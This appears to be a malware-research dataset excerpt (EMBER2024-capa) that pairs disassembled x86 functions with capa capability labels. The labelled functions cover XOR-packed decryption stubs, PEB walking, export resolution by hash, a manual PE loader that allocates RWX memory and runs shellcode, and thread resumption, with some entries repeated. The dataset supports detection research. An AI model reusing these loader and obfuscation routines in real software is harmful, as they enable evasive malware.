joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1005cfef
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x1005d005
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x1005d016
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.1005d057
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x1005f3c3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x1005f30c
add ebx, 0
push ecx
call 0x1005f321
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x6c7f63a1
sub ebx, dword [0x6c815be0]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x6c815bd0
call fcn.1005adeb
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.1005a2f9
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x1005f47f
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x1005f47f
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x1005f436
mov eax, 1
lock xchg dword [0x6c815bdc], eax
push 0x3dd1fc71
call 0x1005f3c3
push esi
add esp, 8
cmp eax, 0
jne 0x1005f3ac
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x1005f3d2
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x1005f3e7
cmp ecx, edx
cmp eax, 0
je 0x1005f40c
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x1005f3f6
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.1005f425
dec eax
loope 0x1005f428
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x6c815bdc], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x1005f45c
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x1005f471
jmp 0x1005f47c
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x1005f36a
Function at 0x100664e4
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x100667ba
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x6c802854
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x6c7f981a
push 0xffffffffffffffff
call fcn.1005d6e4
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x1006654e
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.10066566
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x100667ae
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x10066782
Function at 0x10075fb4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10075fd6
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10075fd6
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10075fd6
ret
cmp word [ebx + 4], 0x14c
jne 0x10075fd6
test word [ebx + 0x16], 2
je 0x10075fd6
test word [ebx + 0x16], 0x100
je 0x10075fd6
cmp word [ebx + 0x18], 0x10b
jne 0x10075fd6
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10075fd6
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10076062
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10075ff6
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1005cf41
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10075fd6
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x10076062
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10075fd6
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10075fd6
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10075fd6
ret
cmp word [ebx + 4], 0x14c
jne 0x10075fd6
test word [ebx + 0x16], 2
je 0x10075fd6
test word [ebx + 0x16], 0x100
je 0x10075fd6
cmp word [ebx + 0x18], 0x10b
jne 0x10075fd6
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10075fd6
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10076062
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10075ff6
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1005cf41
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10075fd6
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x10076119
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10076172
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10076119
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10076128
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1047bdcb
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10076179
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1005cfef
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10076218
add edi, 4
add eax, 2
dec ecx
jne 0x1007615e
call 0x100761c5
loope 0x100761bb
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10076215
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10076226
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100761d9
cmp eax, ecx
ja 0x100761d9
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x10076263
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x10076259
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1005d4ce
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10076128
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10076172
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10076119
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10076128
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1047bdcb
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10076179
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1005cfef
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10076218
add edi, 4
add eax, 2
dec ecx
jne 0x1007615e
call 0x100761c5
loope 0x100761bb
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10076215
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10076226
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100761d9
cmp eax, ecx
ja 0x100761d9
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x10076263
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x10076259
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1005d4ce
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x598953be
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..text_1
mov ebx, 0x4304d8
nop
mov ecx, 0x24026a33
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x10007c1f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x10007c2e
pop dword [ebp - 4]
mov eax, 0x3d180dd3
add eax, 0xd2e86e5b
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0x7ac52c81
sub dword [ebp - 0x14], 0x2c72e736
mov dword [ebp - 0x10], 0xda134709
add dword [ebp - 0x10], 0x5820053c
mov dword [ebp - 0xc], 0x5a81c111
add dword [ebp - 0xc], 0xf1ca831d
mov dword [ebp - 8], 0x4752d6e2
sub dword [ebp - 8], 0x4752d6e2
lea eax, [ebp - 0x14]
push eax
mov eax, 0x8988607c
add eax, 0x86781fd8
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0x3e5f460c
add dword [ebp - 0x14], 0x3613234a
mov dword [ebp - 0x10], 0xe4175a0
add dword [ebp - 0x10], 0x332aebd5
mov dword [ebp - 0xc], 0xf8b8509a
sub dword [ebp - 0xc], 0x9548e42e
mov dword [ebp - 8], 0x7a0e952b
sub dword [ebp - 8], 0x7a0e952b
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, 0x92c76aea
add eax, 0x7d391566
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x39166
push 0
call eax
mov ecx, 0x5d6d3a9c
sub ecx, 0x5d6ce8ee
mov edx, eax
mov esi, 0xda1a7139
add esi, 0x35e688c7
add esi, dword [ebp - 4]
mov ebx, 0x7e6c8081
add ebx, 0xa5ada7a2
mov edi, dword [esi]
xor edi, ebx
mov dword [edx], edi
add edx, 4
add esi, 4
loop 0x10007d50
add eax, 0x1398b
xor ebx, ebx
add ebx, eax
add eax, 0x94d72279
add eax, 0x6b28dd8c
mov ecx, 0x87df33e0
sub ecx, 0x77df33e0
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x407281
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x461124], 0
jne 0x4072bf
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x407295
mov dword [ecx*4 + 0x461120], eax
inc ecx
cmp ecx, 0x100
jl 0x407290
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x4072ec
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x461120]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x4072cd
not eax
pop ebp
ret 0xc

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x263a22fc
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
nop
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x45936801
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x10001390
Capabilities:
Parse pe header

Disassembly:
mov ecx, dword [esp + 4]
test ecx, ecx
jne 0x1000139b
xor eax, eax
ret
push edi
mov edi, dword [esp + 0xc]
cmp edi, 0x40
jb 0x100013d8
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x100013d8
mov eax, dword [ecx + 0x3c]
lea edx, [eax + 0xf8]
cmp edi, edx
jb 0x100013d8
cmp dword [eax + ecx], 0x4550
jne 0x100013d8
mov edx, 0x14c
cmp word [eax + ecx + 4], dx
jne 0x100013d8
test byte [eax + ecx + 0x16], 2
jne 0x100013dc
xor eax, eax
pop edi
ret
movzx edx, word [eax + ecx + 0x14]
push esi
mov esi, 0xe0
cmp dx, si
jae 0x100013f1
pop esi
xor eax, eax
pop edi
ret
add edx, 0xffffff20
movzx edx, dx
add edx, eax
lea esi, [edx + ecx + 0xf8]
movzx ecx, word [eax + ecx + 6]
xor eax, eax
xor edx, edx
push ebx
cmp ax, cx
jae 0x1000142d
movzx eax, dx
lea eax, [eax + eax*4]
mov ebx, dword [esi + eax*8 + 0x14]
add ebx, dword [esi + eax*8 + 0x10]
lea eax, [esi + eax*8]
cmp ebx, edi
ja 0x10001436
inc edx
cmp dx, cx
jb 0x10001412
pop ebx
pop esi
mov eax, 1
pop edi
ret
pop ebx
pop esi
xor eax, eax
pop edi
ret
Function at 0x10001670
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, dword [esp + 8]
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
push eax
push edi
call fcn.10001390
add esp, 8
test eax, eax
je 0x1000184c
mov ecx, dword [edi + 0x3c]
mov ax, word [ecx + edi + 0x14]
mov ebp, dword [ecx + edi + 0x50]
mov edx, 0xe0
sub ax, dx
movzx eax, ax
lea edx, [ecx + eax]
mov dword [esp + 0x10], eax
movzx eax, word [ecx + edi + 6]
lea esi, [edx + edi + 0xf8]
xor edx, edx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x14], esi
cmp dx, ax
jae 0x10001720
mov ecx, dword [ecx + edi + 0x38]
movzx eax, ax
add esi, 8
mov dword [esp + 0x1c], eax
mov eax, dword [esi + 8]
mov edx, dword [esi]
cmp eax, edx
ja 0x100016e3
mov eax, edx
mov ebx, dword [esi + 4]
lea edx, [ebx + eax]
lea eax, [edx + ecx - 1]
xor edx, edx
div ecx
imul eax, ecx
cmp ebp, eax
ja 0x10001712
mov edx, dword [esi]
mov eax, dword [esi + 8]
cmp eax, edx
ja 0x10001703
mov eax, edx
add ebx, eax
xor edx, edx
lea eax, [ebx + ecx - 1]
div ecx
mov ebp, eax
imul ebp, ecx
add esi, 0x28
sub dword [esp + 0x1c], 1
jne 0x100016d8
mov ecx, dword [esp + 0x20]
test ebp, ebp
je 0x1000184c
mov eax, dword [ecx + edi + 0x34]
push 0x40
push 0x3000
lea ebx, [ebp + 4]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000175d
push 0x40
push 0x3000
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x1000184c
mov eax, dword [esp + 0x20]
movzx eax, word [eax + edi + 6]
mov edx, dword [edi + 0x3c]
lea ecx, [eax + eax*4]
lea eax, [edx + ecx*8]
mov ecx, dword [esp + 0x10]
lea edx, [eax + ecx + 0xf8]
push edx
push edi
push esi
call fcn.10004610
mov ecx, dword [esp + 0x2c]
xor eax, eax
add esp, 0xc
xor ebx, ebx
cmp ax, word [ecx + edi + 6]
jae 0x100017ce
movzx eax, bx
lea edx, [eax + eax*4]
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + edx*8 + 0x10]
lea eax, [eax + edx*8]
test ecx, ecx
je 0x100017c2
mov edx, dword [eax + 0xc]
test edx, edx
je 0x100017c2
push ecx
mov ecx, dword [eax + 0x14]
add ecx, edi
push ecx
add edx, esi
push edx
call fcn.10004610
add esp, 0xc
mov edx, dword [esp + 0x20]
inc ebx
cmp bx, word [edx + edi + 6]
jb 0x10001794
mov ebx, dword [esp + 0x2c]
push esi
mov dword [esi + ebp], ebx
call fcn.10001440
add esp, 4
test eax, eax
je 0x1000183e
cmp ebx, 1
jne 0x100017f3
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 8
ret 0x14
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
push eax
push ecx
push esi
call fcn.100014e0
add esp, 0xc
test eax, eax
je 0x1000183e
mov eax, dword [esp + 0x20]
mov edx, 0x2000
test word [eax + edi + 0x16], dx
je 0x100017e7
cmp ebx, 2
je 0x100017e7
mov edi, dword [eax + edi + 0x28]
test edi, edi
je 0x100017e7
push 0
push 1
lea eax, [edi + esi]
push esi
call eax
test eax, eax
jne 0x100017e7
push esi
call fcn.10001620
add esp, 4
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 0x14
Function at 0x10001940
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
mov eax, dword [esi + 0x3c]
add eax, esi
cmp dword [eax + 0x7c], 0
push edi
je 0x100019eb
mov eax, dword [eax + 0x78]
mov ecx, dword [esp + 0x20]
mov edx, dword [eax + esi + 0x1c]
sub ecx, dword [eax + esi + 0x10]
mov edi, dword [eax + esi + 0x14]
add eax, esi
add edx, esi
mov dword [esp + 0x14], edx
mov dword [esp + 0x1c], edi
cmp ecx, edi
ja 0x1000198c
mov eax, dword [edx + ecx*4]
pop edi
add eax, esi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
mov ebx, dword [eax + 0x20]
mov ebp, dword [eax + 0x24]
mov eax, dword [eax + 0x18]
add ebx, esi
add ebp, esi
xor edi, edi
mov dword [esp + 0x10], eax
test eax, eax
jbe 0x100019eb
mov eax, dword [ebx + edi*4]
mov ecx, dword [esp + 0x20]
add eax, esi
lea esp, [esp]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x100019d0
test dl, dl
je 0x100019cc
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x100019d0
add ecx, 2
add eax, 2
test dl, dl
jne 0x100019b0
xor eax, eax
jmp 0x100019d5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100019e4
movzx eax, word [ebp + edi*2]
cmp eax, dword [esp + 0x1c]
jbe 0x100019f7
inc edi
cmp edi, dword [esp + 0x10]
jb 0x100019a3
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 8
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + eax*4]
pop edi
add eax, esi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8

Function at 0x10001f90
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
cmp eax, ecx
jne 0x10001fa0
mov eax, 1
ret
xor edx, edx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], ecx
mov word [eax + 0x1c], dx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
mov dword [eax + 0x60], ecx
mov dword [eax + 0x64], ecx
xor eax, eax
ret
Function at 0x100029b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1000fd04]
mov dword [ebp - 4], eax
jmp 0x100029c9
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x100029e6
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
jmp 0x100029c0
mov esp, ebp
pop ebp
ret

Function at 0x100029f0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
cmp dword [0x1000fd14], eax
je 0x10002a0e
mov eax, 0x10dd
jmp 0x10002aef
mov eax, dword [0x1000fd24]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10002a8c
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x10002a6a
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x10002a6a
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.10002b60
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.10004ddc
add esp, 4
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
jmp 0x10002a16
mov dword [0x1000fd24], 0
call fcn.10002b00
mov ecx, dword [0x1000fd20]
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0
je 0x10002ad9
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.10004ddc
add esp, 4
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
jmp 0x10002aa4
mov dword [0x1000fd20], 0
mov dword [0x1000fd14], 0
xor eax, eax
mov esp, ebp
pop ebp
ret